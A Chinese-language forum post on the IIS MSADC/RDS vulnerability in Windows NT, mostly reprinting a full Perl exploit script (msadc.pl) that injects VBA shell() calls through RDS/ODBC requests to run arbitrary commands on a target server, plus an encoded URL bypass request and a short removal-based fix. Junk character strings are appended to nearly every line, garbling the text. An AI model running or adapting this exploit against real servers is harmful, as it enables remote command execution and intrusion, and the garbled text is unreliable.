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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) l<YCX[%E  
R4P$zB_<2  
涉及程序: DA -W =Cc  
Microsoft NT server O| zLD  
/aHx'TG  
描述: h&$,mbEoI  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 1l`$.k  
*zn=l+c  
详细: <=7N2t)s4  
如果你没有时间读详细内容的话,就删除: K`% I!Br  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @!zT+W&  
有关的安全问题就没有了。 cA]Ch>]A%  
wc6v:,&  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Pu7cL  
z~+gche>  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Qpaan  
关于利用ODBC远程漏洞的描述,请参看: E+|r h-M7  
` "JslpN  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V- HO_GDo  
[osm\w49  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 '-k~qQk)6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?B`Yq\L)  
.ugQH<B  
这里不再论述。 Yt% E,U~g  
ZUxlk+o9d  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 4hh=z>$|l)  
O)i]K`jk  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset </B5^}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Jb4A!g5C  
Z/>0P* F  
*)H&n>"e  
#将下面这段保存为txt文件,然后: "perl -x 文件名" '#faNVPABh  
7gY^aMW  
#!perl ^S'tMT_  
# GY;q0oQ,  
# MSADC/RDS 'usage' (aka exploit) script EFKOElG(k  
# zu-1|X X  
# by rain.forest.puppy ]\_T  
# K9+C3"*I  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  L4,Ke  
# beta test and find errors! /n|`a1!  
A"8"e*  
use Socket; use Getopt::Std; '5n67Hl 1  
getopts("e:vd:h:XR", \%args); E?+MM0  
Q]]5\C.  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; I N'a5&..  
; 3WA-nn  
if (!defined $args{h} && !defined $args{R}) { &^W91C?<6  
print qq~ \dIQhF%%2  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %Kq`8  
-h <host> = host you want to scan (ip or domain) &QL!Y{=Y6  
-d <seconds> = delay between calls, default 1 second cjel6 nj  
-X = dump Index Server path table, if available / NlT[@T  
-v = verbose T)NnWEB  
-e = external dictionary file for step 5 "RF<i3{S  
j7M[]/|  
Or a -R will resume a command session 1TvR-.e  
O7A W9*<  
~; exit;} +Eh^j3W  
[Nn ?:5"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; @Ja8~5:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ?]# U~M<'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Aj;F$(su  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); %4Thb\T  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} bqt*d)$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ]O\Oj6C  
& M wvj  
if (!defined $args{R}){ $ret = &has_msadc; h^D]@H  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} - ^sbf.  
9(/ ;Wutj"  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" M9/c8zZ  
. "cmd /c "; YIQm;E EG  
$in=<STDIN>; chomp $in; Vp'Zm:  
$command="cmd /c " . $in ; :2KLziO2  
rK\)  
if (defined $args{R}) {&load; exit;} _IOt(Zb(  
lc71Pp>  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; v3i]z9`  
&try_btcustmr; E.kjYIH8  
uWYI p\NN  
print "\nStep 2: Trying to make our own DSN..."; xjOj1Hv  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; MxY~(TVPK  
-U?Udmov  
print "\nStep 3: Trying known DSNs..."; exqFwmhh  
&known_dsn; %Hk9.1hn5  
x}W,B,q  
print "\nStep 4: Trying known .mdbs..."; 'xUyGj:  
&known_mdb; 9;^r  
)-_]y|/D:r  
if (defined $args{e}){ OeuM9c{  
print "\nStep 5: Trying dictionary of DSN names..."; WUM&Lq k"  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } dT%$"sj5  
DUk&`BSJ  
print "Sorry Charley...maybe next time?\n"; LH4!QDK-  
exit; W(oJ{R&m{  
?Sq?f?  
############################################################################## HD(4Ms  
3+_ .I{  
sub sendraw { # ripped and modded from whisker cGhnI&  
sleep($delay); # it's a DoS on the server! At least on mine... ,{HxX0  
my ($pstr)=@_; @,<@y>m7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _JZw d9K  
die("Socket problems\n"); W -Yv0n3  
if(connect(S,pack "SnA4x8",2,80,$target)){ cViEvS r  
select(S); $|=1; Vs-])Q?7J  
print $pstr; my @in=<S>; ] {r*Z6bs  
select(STDOUT); close(S); +ou ]|  
return @in; xm }9(EJ  
} else { die("Can't connect...\n"); }} KV Vo_9S'  
(3DjFT3 w  
############################################################################## Lbka*@  
:@:i*2=  
sub make_header { # make the HTTP request brA\Fp^  
my $msadc=<<EOT ^T[8j/9o^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 eC^UL5>%  
User-Agent: ACTIVEDATA :Rh?#yO 5  
Host: $ip 37hs/=x  
Content-Length: $clen R#ABda9  
Connection: Keep-Alive JC~L!)f  
j9@7\N<  
ADCClientVersion:01.06 0,a;N%K-  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 R^PPgE6!$  
gAA2S5th  
--!ADM!ROX!YOUR!WORLD! -kh O4,  
Content-Type: application/x-varg v+ NdO$o  
Content-Length: $reqlen T[}A7a6g_  
%T hY6y(  
EOT ]xlV;m  
; $msadc=~s/\n/\r\n/g; iNX%Zk[  
return $msadc;} h01 HX  
wo($7'.@  
############################################################################## N02X*NC  
0j^QY6  
sub make_req { # make the RDS request GJ:65)KU  
my ($switch, $p1, $p2)=@_; ^tS{a*Yn  
my $req=""; my $t1, $t2, $query, $dsn; Z*EK56.b  
I%]~]a  
if ($switch==1){ # this is the btcustmr.mdb query jN\} l|;q  
$query="Select * from Customers where City=" . make_shell(); 'u6T^YS  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . mXd,{b'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} _d#1muZ?p|  
WgxGx`Y)  
elsif ($switch==2){ # this is general make table query v+.  n9  
$query="create table AZZ (B int, C varchar(10))"; *9#6N2J$M  
$dsn="$p1";} 4l/hh|3@  
d NQ?8P-&  
elsif ($switch==3){ # this is general exploit table query Yj/aa0Ka4  
$query="select * from AZZ where C=" . make_shell(); *=Ko"v }  
$dsn="$p1";} vUEG0{8l  
t$NK{Mw5_  
elsif ($switch==4){ # attempt to hork file info from index server /gkHV3}fu  
$query="select path from scope()"; e>zCzKK  
$dsn="Provider=MSIDXS;";} 4K_rL{s0U  
'Vwsbm tY  
elsif ($switch==5){ # bad query :DI``]Si\  
$query="select"; KMO(f!?  
$dsn="$p1";} n[~kcF  
`nAR/Ye  
$t1= make_unicode($query); ;JM%O8  
$t2= make_unicode($dsn); D00I!D16  
$req = "\x02\x00\x03\x00"; B?BB  
$req.= "\x08\x00" . pack ("S1", length($t1)); m0}Pq{ g  
$req.= "\x00\x00" . $t1 ; 00Tm]mMQX  
$req.= "\x08\x00" . pack ("S1", length($t2)); >WfkWUb  
$req.= "\x00\x00" . $t2 ; OAoTsqj6  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~*OQRl6F  
return $req;} 3uSj5+@q6  
Lnin;0~{  
############################################################################## ?b?6/_W~R  
({XB,Rm  
sub make_shell { # this makes the shell() statement Y>Oh]?  
return "'|shell(\"$command\")|'";} 0(!j]w"r3  
K`7(*!HEb  
############################################################################## 4+rr3 $AY  
bXVH7Fy  
sub make_unicode { # quick little function to convert to unicode eI?|Ps{S  
my ($in)=@_; my $out; [1+ o  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } [BPK0  
return $out;} ,8~q nLy9  
'Z(KE2&?  
############################################################################## b.h:~ATgN  
Gjhpi5?%8  
sub rdo_success { # checks for RDO return success (this is kludge) L5(7;  
my (@in) = @_; my $base=content_start(@in); EL*OeyU1l  
if($in[$base]=~/multipart\/mixed/){ 5c(mgEvq  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Un [olp  
return 0;} s"hSn_m  
W6~aL\[  
############################################################################## ['<Q402:.  
5<Ly^Na:  
sub make_dsn { # this makes a DSN for us W 9i}w&  
my @drives=("c","d","e","f"); %2H0JXKa,  
print "\nMaking DSN: "; ?8ZOiY(  
foreach $drive (@drives) { #b u]@/  
print "$drive: "; <OX_6d*@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ( (.b&  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" OvL@@SX |  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 9T`$gAI  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 9%+Nzo(Fd  
return 0 if $2 eq "404"; # not found/doesn't exist D<V[:~-o  
if($2 eq "200") { Y^Of  
foreach $line (@results) { ~3f`=r3/.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  fP+RuZ  
} return 0;} 4b\R@Knu  
d@sAB1:  
############################################################################## JQi+y;  
~>&Jks_Q  
sub verify_exists { 4Ss4jUj  
my ($page)=@_;  "! -  
my @results=sendraw("GET $page HTTP/1.0\n\n"); |hx"yy'ux  
return $results[0];} NOC8h\s}(  
{RG4m{#9  
############################################################################## v'0WE  
9'$\GN{0  
sub try_btcustmr { 0m3:!#\  
my @drives=("c","d","e","f"); mP!=&u fcU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); kGz0`8U Ru  
Ox| ?  
foreach $dir (@dirs) { !hMD>B2Z  
print "$dir -> "; # fun status so you can see progress eo#2n8I>=1  
foreach $drive (@drives) { j{8;5 ?x  
print "$drive: "; # ditto Th\w#%'N  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; @2yoy&IO  
$reqlenlen=length( "$reqlen" ); S*aVcyDEP  
$clen= 206 + $reqlenlen + $reqlen; D8OW|wVE  
71S~*"O0f  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <0EVq8h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} *5e"suS2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g2Hz[C(  
sJI" m'r=Z  
############################################################################## aXv[~  
3I"xuKxc  
sub odbc_error { k?!CJ@5$  
my (@in)=@_; my $base; _Wb3,E a=  
my $base = content_start(@in); 5L?_AUL  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this `\p5!Iq Q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U4$}8~o4  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Jw+k=>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tv]^k]n{rf  
return $in[$base+4].$in[$base+5].$in[$base+6];} 2|6E{o  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; !iNN6-v%  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ",v!geMvu  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} "dkDT7  
/JqNiqvh  
############################################################################## !~j-5+DI  
\GF 9;N}V  
sub verbose { (BT{\|,V_m  
my ($in)=@_; )ajF ca@v  
return if !$verbose; h!~Qyb>W  
print STDOUT "\n$in\n";} k<Y}BvAYB  
_?}[7K!~d  
############################################################################## R!+_mPb=Q*  
qS9z0HLE  
sub save { (93$ L zZ  
my ($p1, $p2, $p3, $p4)=@_; >~F_/Z'5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; &.v|yG]&  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; F `4a0~?  
close OUT;} oCxh[U@*D  
,J@A5/B,AA  
############################################################################## \kR:GZ`{UV  
w/1Os!p  
sub load { B[$L)y'-;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; kB! iEoIBA  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); y/.I<5+Bu  
@p=<IN>; close(IN); e{Y8m Xu  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); E"'4=_  
$target= inet_aton($ip) || die("inet_aton problems"); (r9W[  
print "Resuming to $ip ..."; J< vVsz+7:  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 'kBq@>  
if($p[1]==1) { x/d(" Bb  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; l-gNJ=l+K  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; r%uka5@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); #5 %\~ f  
if (rdo_success(@results)){print "Success!\n";} FJ+n- \  
else { print "failed\n"; verbose(odbc_error(@results));}} VF bso3q<j  
elsif ($p[1]==3){ 2(i@\dZCb<  
if(run_query("$p[3]")){ h,fC-+H5  
print "Success!\n";} else { print "failed\n"; }} XU*4MU^'  
elsif ($p[1]==4){ eZ G#op  
if(run_query($drvst . "$p[3]")){ [uLpm*7  
print "Success!\n"; } else { print "failed\n"; }} w(N$$  
exit;} #xoFcjRE  
1sIPhOIys  
############################################################################## 8XG|K`'u  
k .#I ;7  
sub create_table { p Lwtm@  
my ($in)=@_; olxnQYFo  
$reqlen=length( make_req(2,$in,"") ) - 28; FoW|BGA~  
$reqlenlen=length( "$reqlen" ); 4(D1/8  
$clen= 206 + $reqlenlen + $reqlen; "*T4%3dA  
my @results=sendraw(make_header() . make_req(2,$in,"")); 2v\<MrL  
return 1 if rdo_success(@results); lD-HQd  
my $temp= odbc_error(@results); verbose($temp); sK/Z 'h{|  
return 1 if $temp=~/Table 'AZZ' already exists/; Qn!KL0w  
return 0;} yEPkF0?  
t%fcp  
############################################################################## (7*((  
B.#.gB#C  
sub known_dsn { eJy}W /  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go KBg5 _+l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", QFg{.F?3q>  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ~7$jW[i  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4> NmJrh  
oXgi#(y  
foreach $dSn (@dsns) { \LYNrL~?J  
print "."; Koi-b  
next if (!is_access("DSN=$dSn")); Kt`/+k)m  
if(create_table("DSN=$dSn")){ 2]V&]s8Wi=  
print "$dSn successful\n"; DyCnL@  
if(run_query("DSN=$dSn")){ ?3yrX _Qm{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vo"?a~kY7  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )qeed-{  
kKs}E| T  
############################################################################## c\.7Z=D  
:soR7oHZ  
sub is_access { jmJeu@(  
my ($in)=@_; M `49ydh&  
$reqlen=length( make_req(5,$in,"") ) - 28; *3A)s O  
$reqlenlen=length( "$reqlen" ); >|rU*+I`  
$clen= 206 + $reqlenlen + $reqlen; V'8Rz#Gc5  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7m.>2U   
my $temp= odbc_error(@results); 3{{Ew}kZm  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); G0lg5iA<fC  
return 0;} VT2f\d[Q  
mIW/x/I  
############################################################################## pC/13|I  
aXgngw q  
sub run_query { .YlhK=d4  
my ($in)=@_;  _W  
$reqlen=length( make_req(3,$in,"") ) - 28; oqa8v6yG'  
$reqlenlen=length( "$reqlen" ); {:TOm0eK  
$clen= 206 + $reqlenlen + $reqlen; 7srq~;j3  
my @results=sendraw(make_header() . make_req(3,$in,"")); gXvE^fE  
return 1 if rdo_success(@results); bWg!/K55  
my $temp= odbc_error(@results); verbose($temp); R*l3 zn>  
return 0;} 1'!%$D  
Lk]W?  
############################################################################## 6FFM-9*|[  
%fIYWu`X  
sub known_mdb { )?<V-,D  
my @drives=("c","d","e","f","g"); FyWrb+_0v  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9P&{Xhs7  
my $dir, $drive, $mdb; .W51Cup@&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +QA|]Y~!  
Zq{TY)PI]  
# this is sparse, because I don't know of many 'B;n&tJ   
my @sysmdbs=( "\\catroot\\icatalog.mdb", Wg=qlux-  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", a49t/  
"\\system32\\certmdb.mdb",  ay,"MJ2  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% u+m9DNPF  
3XIL; 5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", E]0Qz? W  
"\\cfusion\\cfapps\\forums\\forums_.mdb", `4-m$ab  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9cQ;h37J>  
"\\cfusion\\cfapps\\security\\realm_.mdb", '3iJq9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2. f8uq  
"\\cfusion\\database\\cfexamples.mdb", cuh Z_l  
"\\cfusion\\database\\cfsnippets.mdb", }oL l? L  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 4l@aga  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", JOo+RA5d  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9.wZhcqqU  
"\\cfusion\\database\\smpolicy.mdb", FyqsFTh_  
"\\cfusion\\database\cypress.mdb", P-\65]`C  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3'!*/UnU  
"\\website\\cgi-win\\dbsample.mdb", N6BEl55 &  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", I.- I4F)D  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" S{nBQB<  
); #these are just Qov*xRO6  
foreach $drive (@drives) { 4k)0OQeW6  
foreach $dir (@dirs){ %(B6eiA  
foreach $mdb (@sysmdbs) { ;umbld0  
print "."; 4ah5}9{g  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ vRLWs`1j  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 5s:g(gy3BR  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ -Yg?@yt  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =kb/4eRg  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ]<k+a-Tt  
h* V~.H  
foreach $drive (@drives) { 4U*CfdZZ  
foreach $mdb (@mdbs) { 'H(khS  
print "."; :8U@KABH@h  
if(create_table($drv . $drive . $dir . $mdb)){ 2Yg\<Ps N  
print "\n" . $drive . $dir . $mdb . " successful\n"; Uy<n7*H  
if(run_query($drv . $drive . $dir . $mdb)){ 0RHjA& r3v  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; >AW&Lfw$  
} else { print "Something's borked. Use verbose next time\n"; }}}} z{nd4qOsD  
} 7!JBF{,=  
Pv\-D<&@m  
############################################################################## oO9yI^  
~H:.&'E  
sub hork_idx { W)Mc$`nX  
print "\nAttempting to dump Index Server tables...\n"; ?ajVf./Ja  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; \{54mM~  
$reqlen=length( make_req(4,"","") ) - 28; u@T,8  
$reqlenlen=length( "$reqlen" ); EMf"rGXu(  
$clen= 206 + $reqlenlen + $reqlen; w0 1u~"E  
my @results=sendraw2(make_header() . make_req(4,"","")); (^$SM uC  
if (rdo_success(@results)){ @@& ? ,3  
my $max=@results; my $c; my %d; {-51rAyi  
for($c=19; $c<$max; $c++){ $AHdjQ[;6-  
$results[$c]=~s/\x00//g; fJ;1ii~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; pg3h>)$/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \9 k3;zw  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; FO)`&s"&2  
$d{"$1$2"}="";} wu3p2#-Z  
foreach $c (keys %d){ print "$c\n"; } vvP]tRZ  
} else {print "Index server doesn't seem to be installed.\n"; }} %t%D|cf  
`.F3&pA  
############################################################################## #@<L$"L  
pDt45   
sub dsn_dict {  g:?p/L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _+d*ljP)l3  
while(<IN>){ xzBUm  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Qb@i_SX(fs  
next if (!is_access("DSN=$dSn")); ^4=%~Yx  
if(create_table("DSN=$dSn")){ c3J12+~;  
print "$dSn successful\n"; <%m$ V5h  
if(run_query("DSN=$dSn")){ Z L'krV  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Rw|P$dbu  
print "Something's borked. Use verbose next time\n";}}} +0M0g_sk  
print "\n"; close(IN);} s,~g| I\  
h"dn:5G:=  
############################################################################## N a<);Pg  
Mh=j^ [4Q  
sub sendraw2 { # ripped and modded from whisker w\ddC DZ  
sleep($delay); # it's a DoS on the server! At least on mine... R/kF,}^F  
my ($pstr)=@_; *mkL>v &  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || gaR~K  
die("Socket problems\n"); y)b=7sU  
if(connect(S,pack "SnA4x8",2,80,$target)){ v_,'NA0  
print "Connected. Getting data"; ._6e#=  
open(OUT,">raw.out"); my @in; zE?@_p1gei  
select(S); $|=1; print $pstr; WNF#eM?[a  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} s ?|Hw|j  
close(OUT); select(STDOUT); close(S); return @in; $j"BHpN  
} else { die("Can't connect...\n"); }} T=VBKaSbU  
!"dAwG?S  
############################################################################## Q: j)F|uhc  
O|*-J  
sub content_start { # this will take in the server headers t>eeOWk3  
my (@in)=@_; my $c; Tb!jIe  
for ($c=1;$c<500;$c++) { N]&:xd5  
if($in[$c] =~/^\x0d\x0a/){ EU.!/'<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~c@@m\C"b  
else { return $c+1; }}} qb +Gjgp  
return -1;} # it should never get here actually g])iU9)8  
,YF1* 69  
############################################################################## KdC'#$  
mJ+mTA5bW  
sub funky { =}2k+v-B  
my (@in)=@_; my $error=odbc_error(@in); {11xjvAD  
if($error=~/ADO could not find the specified provider/){ mj&$+zM>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; =a(]@8$!1  
exit;} SEIJ+u9XsA  
if($error=~/A Handler is required/){ yw*| HT  
print "\nServer has custom handler filters (they most likely are patched)\n"; Y/y`c-VO  
exit;} z|O3pQn~  
if($error=~/specified Handler has denied Access/){ j {Sbf04  
print "\nServer has custom handler filters (they most likely are patched)\n"; C wwZ~2  
exit;}} ["15~9  
a6 w'.]m  
############################################################################## 9z7rv,  
HrHtA]  
sub has_msadc { h/..cVD,K  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); X;CRy,  
my $base=content_start(@results); 9)D9'/{L#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); v>sjS3  
return 0;} O#Ho08*Xn  
8B3C[?  
######################## O8/r-?4.  
YA~`R~9d  
6Tsi^((Li  
解决方案: EC7)M}H  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll kn}bb*eZ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 a!\^O).pA  
dlBr2 9  
拿出来充数 哈哈
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